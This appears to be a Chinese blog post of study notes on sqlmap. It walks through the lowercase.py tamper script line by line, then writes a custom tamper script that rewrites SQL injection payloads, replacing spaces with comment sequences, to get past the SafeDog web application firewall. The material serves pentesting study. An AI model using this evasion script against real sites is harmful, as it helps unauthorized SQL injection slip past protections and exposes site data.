sqlmap 的源码学习笔记二之编写tamper脚本

0x00 前言

        sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令本文重点研究sqlmap的软件具体的目录结构,后续的文章也会从源码编写中,阐述sqlmap的种种编码结果。本文从结构中,可以看到sqlmap中的软件工程之美,同时从严谨的软件结构目录分类和构造中,看到sqlmap中的软件开发过程中的庞大但简洁的结构之美。

0x01 tamper脚本

   当我们下载了【sqlmap】的安装包,解压后到文件夹【sqlmap】,在以下路径,我们可以找到文件夹【tamper】,其中该文件夹有44个脚本分别对44种WAF进行检测。例如360,绿盟WAF,modsecurity.,百度,fortiweb,cloudflare。由此可见老外对国内的WAF也是有了解的,可见他们也会悄悄对国内的WAF进行绕过。

0x02 分析tamper脚本

由于【tamper】文件夹中有众多的tamper脚本,限于篇幅,无法一一分析,故选取其中一个脚本【lowercase.py】作为样本分析

#!/usr/bin/env python    #此处用法为:程序到env设置里查找python的安装路径,再调用对应路径下的解释器程序完成操作。这是非常好的做法
"""    #python2.7的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
""" #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
import re    #导入python中的re 字符替换包,方便下面的字符替换
from lib.core.data import kb   #导入sqlmap中lib\core\data中的kb函数,测试 SQL 注入的过程中,使用的配置文件事先全部被加载到了 conf 和 kb
from lib.core.enums import PRIORITY        #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py
__priority__ = PRIORITY.NORMAL            #定义优先级,此处为级别为【一般】
def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。
    pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性。
def tamper(payload, **kwargs):     #定义tamper脚本,payload, **kwargs 为定义的参数,其中**kwargs为字典存储,类似于 {'a': 1, 'c': 3, 'b': 2} 
    """         #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
    Replaces each keyword character with lower case value     #此处为tamper说明 ,以便使用该脚本。在本例中,该脚本可以
    Tested against:                                                                            #用于多种数据库。并且作用于弱防护效果的防火墙
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0
    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases
    >>> tamper('INSERT')
    'insert'
    """ #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号        
    retVal = payload                                                        # 将payload赋值给  retVal ,以便中间转换。
    if payload:                                                                 # 进行判断payload
        for match in re.finditer(r"[A-Za-z_]+", retVal):        # 对 retVal 【payload】进行小写查找
            word = match.group()                                        #将查找到的字母赋值给word
            if word.upper() in kb.keywords:                          #如果在攻击载荷中有大写字母
                retVal = retVal.replace(word, word.lower())    #将大写字母转换成小写字母。
    return retVal                                                               #返回小写字母

到这里,我们可以看出,该脚本实现了将攻击载荷中大写字母转成了小写字母


0x03 编写一个tamper脚本

         在这里,我们尝试写一个绕过安全狗的tamper脚本,毕竟安全狗在服务器安全领域还是挺不错的,竟然还是免费的,在linux和windows上有各种版本,并且一直维护更新中。

#!/usr/bin/env python                                                                        #此处代码可以直接从其他tamper复制粘贴过来

"""

Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)   #常规文档说明     

See the file 'doc/COPYING' for copying permission

v0.0.1                                                                                               #添加这个脚本的版本说明

2016.08.21                                                                                        #添加我们写这个脚本的日期

"""

from lib.core.enums import PRIORITY    #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py

__priority__ = PRIORITY.LOW               #定义优先级,此处为级别为【一般】


def dependencies():                              #定义dependencies():此处是为了和整体脚本的结构保持一致。
    pass                                               #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性

def tamper(payload, **kwargs):      #定义tamper脚本,**kwargs 为字典存储,类似于 {'a': 1, 'c': 3} 

    """

   To bypass safedog                         

    Replaces space character (' ') with plus ('/*|%20--%20|*/')          #把空格替换为(/*|%20--%20|*/)绕过,此处为绕过规则
    >>> tamper('SELECT id FROM users')                                   #此处为替换后的具体执行形式
    'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
    """
    retVal = payload                                                                     # 将payload赋值给  retVal ,以便中间转换。
    if payload:                                                                               
        retVal = ""
        quote, doublequote, firstspace = False, False, False             #定义这些符号参数,防止对后面的替换造成影响
        for i in xrange(len(payload)):                                               # 在攻击载荷中逐个进行判断操作。
            if not firstspace:                                                                #如果攻击载荷的第一个字段是空格,则进行替换
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/*|%20--%20|*/"                                      #把空格( ) 替换成(/*|%20--%20|*/)
                    continue                                                                     #继续进行判断操作
            elif payload[i] == '\'':                                                         #如果攻击载荷中有(\ ),则进行编码转换
                quote = not quote
            elif payload[i] == '"':                                                          #如果攻击载荷中有(“ ),则进行编码转换
                doublequote = not doublequote
            elif payload[i] == " " and not doublequote and not quote:         #如果攻击载荷中有空格(),并且它既不是doublequote 或 quote  
                retVal += "/*|%20--%20|*/"                                                    #则进行编码转换
                continue                                                                            继续执行
            retVal += payload[i]                                                            #得到重新组合的payload
    return retVal


# 该脚本可以在github中找到:https://github.com/ym2011/penetration/tree/master/scripts


0x04 参考资料

http://sqlmap.org/

https://github.com/sqlmapproject/sqlmap/

https://github.com/sqlmapproject/sqlmap/wiki

https://github.com/sqlmapproject/sqlmap/wiki/FAQ

https://github.com/sqlmapproject/sqlmap/wiki/Third-party-libraries


欢迎大家分享更好的思路,热切期待^^_^^ !!!


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值